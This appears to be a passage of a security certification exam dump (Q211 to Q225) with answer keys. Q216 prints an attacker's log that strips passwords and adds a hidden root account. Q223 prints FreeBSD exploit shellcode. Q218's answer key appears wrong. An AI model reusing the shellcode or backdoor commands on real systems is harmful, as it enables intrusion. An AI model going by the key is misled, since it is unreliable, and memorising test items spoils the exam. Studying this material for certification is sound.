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Q211. Your computer is infected by E-mail tracking and spying Trojan. This Trojan infects the computer with a single file - emos.sys
Which step would you perform to detect this type of Trojan?
A. Scan for suspicious startup programs using msconfig
B. Scan for suspicious network activities using Wireshark
C. Scan for suspicious device drivers in c:\windows\system32\drivers
D. Scan for suspicious open ports using netstat
Answer: C
Q212. LM authentication is not as strong as Windows NT authentication so you may want to disable its use, because an attacker eavesdropping on network traffic will attack the weaker protocol. A successful attack can compromise the user's password. How do you disable LM authentication in Windows XP?
A. Stop the LM service in Windows XP
B. Disable LSASS service in Windows XP
C. Disable LM authentication in the registry
D. Download and install LMSHUT.EXE tool from Microsoft website
Answer: C
Explanation: http://support.microsoft.com/kb/299656
Q213. ou are gathering competitive intelligence on ABC.com. You notice that they have jobs
listed on a few Internet job-hunting sites. There are two job postings for network and system administrators. How can this help you in footprint the organization?
A. The IP range used by the target network
B. An understanding of the number of employees in the company
C. How strong the corporate security policy is
D. The types of operating systems and applications being used.
Answer: D
Explanation: From job posting descriptions one can see which is the set of skills, technical knowledge, system experience required, hence it is possible to argue what kind of operating systems and applications the target organization is using.
Q214. Melissa is a virus that attacks Microsoft Windows platforms.
To which category does this virus belong?
A. Polymorphic
B. Boot Sector infector
C. System
D. Macro
Answer: D
Explanation: The Melissa macro virus propagates in the form of an email message containing an infected Word document as an attachment.
Q215. Which of these are phases of a reverse social engineering attack?
Select the best answers.
A. Sabotage
B. Assisting
C. Deceiving
D. Advertising
E. Manipulating
Answer: ABD
Explanations:
According to "Methods of Hacking: Social Engineering", by Rick Nelson, the three phases of reverse social engineering attacks are sabotage, advertising, and assisting.
Q216. After studying the following log entries, how many user IDs can you identify that the attacker has tampered with?
1. mkdir -p /etc/X11/applnk/Internet/.etc
2. mkdir -p /etc/X11/applnk/Internet/.etcpasswd
3. touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd
4. touch -acmr /etc /etc/X11/applnk/Internet/.etc
5. passwd nobody -d
6. /usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash
7. passwd dns -d
8. touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd
9. touch -acmr /etc/X11/applnk/Internet/.etc /etc
A. IUSR_
B. acmr, dns
C. nobody, dns
D. nobody, IUSR_
Answer: C
Explanation: Passwd is the command used to modify a user password and it has been used together with the usernames nobody and dns.
Q217. Giles is the network administrator for his company, a graphics design company based in Dallas. Most of the network is comprised of Windows servers and workstations, except for some designers that prefer to use MACs. These MAC users are running on the MAC OS X operating system. These MAC users also utilize iChat to talk between each other. Tommy, one of these MAC users, calls Giles and says that his computer is running very slow. Giles then gets more calls from the other MAC users saying they are receiving instant messages from Tommy even when he says he is not on his computer. Giles immediately unplugs Tommy's computer from the network to take a closer look. He opens iChat on Tommy's computer and it says that it sent a file called latestpics.tgz to all the other MAC users. Tommy says he never sent those files. Giles also sees that many of the computer's applications appear to be altered. The path where the files should be has an altered file and the original application is stored in the file's resource fork.
What has Giles discovered on Tommy's computer?
A. He has discovered OSX/Chat-burner virus on Tommy's computer
B. Giles has found the OSX/Leap-A virus on Tommy's computer
C. This behavior is indicative of the OSX/Inqtana.A virus
D. On Tommy's computer, Giles has discovered an apparent infection of the OSX/Transmitter.B virus
Answer: B
Explanation: OSX.Leap.A is a worm that targets installs of Macintosh OS X and spreads via iChat Instant Messenger program. http://www.symantec.com/security_response/writeup.jsp?docid=2006-021614-4006-99
Q218. In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled and confirmation is required before activation. The attackers then scam to collect not one but two credit card numbers, ATM PIN number and other personal details.
Ignorant users usually fall prey to this scam. Which of the following statement is incorrect related to this attack?
A. Do not reply to email messages or popup ads asking for personal or financial information
B. Do not trust telephone numbers in e-mails or popup ads
C. Review credit card and bank account statements regularly
D. Antivirus, anti-spyware, and firewall software can very easily detect these type of attacks
E. Do not send credit card numbers, and personal or financial information via e-mail
Answer: A
Q219. Because UDP is a connectionless protocol: (Select 2)
A. UDP recvfrom() and write() scanning will yield reliable results
B. It can only be used for Connect scans
C. It can only be used for SYN scans
D. There is no guarantee that the UDP packets will arrive at their destination
E. ICMP port unreachable messages may not be returned successfully
Answer: DE
Explanation: Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives).
Q220. Say that "abigcompany.com" had a security vulnerability in the javascript on their website in the past. They recently fixed the security vulnerability, but it had been there for many months. Is there some way to 4go back and see the code for that error?
Select the best answer.
A. archive.org
B. There is no way to get the changed webpage unless you contact someone at the company
C. Usenet
D. Javascript would not be in their html so a service like usenet or archive wouldn't help you
Answer: A
Explanations:
Archive.org is a website that periodically archives internet content. They have archives of websites over many years. It could be used to go back and look at the javascript as javascript would be in the HTML code.
Q221. Attacking well-known system defaults is one of the most common hacker attacks. Most software is shipped with a default configuration that makes it easy to install and setup the application. You should change the default settings to secure the system.
Which of the following is NOT an example of default installation?
A. Many systems come with default user accounts with well-known passwords that administrators forget to change
B. Often, the default location of installation files can be exploited which allows a hacker to retrieve a file from the system
C. Many software packages come with "samples" that can be exploited, such as the sample programs on IIS web services
D. Enabling firewall and anti-virus software on the local system
Answer: D
Q222. If you perform a port scan with a TCP ACK packet, what should an OPEN port return?
A. RST
B. No Reply
C. SYN/ACK
D. FIN
Answer: A
Explanation: Open ports return RST to an ACK scan.
Q223. #define MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)&0xff00)8),
(((x)&0xff0000)16), (((x)&0xff000000)24)
char infin_loop[]=
/* for testing purposes */
"\xEB\xFE";
char bsdcode[] =
/* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL, *username="user", *password=NULL;
struct targets getit;
The following exploit code is extracted from what kind of attack?
A. Remote password cracking attack
B. SQL Injection
C. Distributed Denial of Service
D. Cross Site Scripting
E. Buffer Overflow
Answer: E
Explanation: This is a buffer overflow with it’s payload in hex format.
Q224. A network admin contacts you. He is concerned that ARP spoofing or poisoning might occur on his network. What are some things he can do to prevent it?
Select the best answers.
A. Use port security on his switches.
B. Use a tool like ARPwatch to monitor for strange ARP activity.
C. Use a firewall between all LAN segments.
D. If you have a small network, use static ARP entries.
E. Use only static IP addresses on all PC's.
Answer: ABD
Explanations:
By using port security on his switches, the switches will only allow the first MAC address that is connected to the switch to use that port, thus preventing ARP spoofing. ARPWatch is a tool that monitors for strange ARP activity. This may help identify ARP spoofing when it happens. Using firewalls between all LAN segments is possible and may help, but is usually pretty unrealistic. On a very small network, static ARP entries are a possibility. However, on a large network, this is not an realistic option. ARP spoofing doesn't have anything to do with static or dynamic IP addresses. Thus, this option won't help you.
Q225. You are the Security Administrator of Xtrinity, Inc. You write security policies and conduct assesments to protect the company's network. During one of your periodic checks to see how well policy is being observed by the employees, you discover an employee has attached a modem to his telephone line and workstation. He has used this modem to dial in to his workstation, thereby bypassing your firewall. A security breach has occurred as a direct result of this activity. The employee explains that he used the modem because he had to download software for a department project. How would you resolve this situation?
A. Reconfigure the firewall
B. Conduct a needs analysis
C. Install a network-based IDS
D. Enforce the corporate security policy
Answer: D
Explanation: The security policy is meant to always be followed until changed. If a need rises to perform actions that might violate the security policy you’ll have to find another way to accomplish the task or wait until the policy has been changed.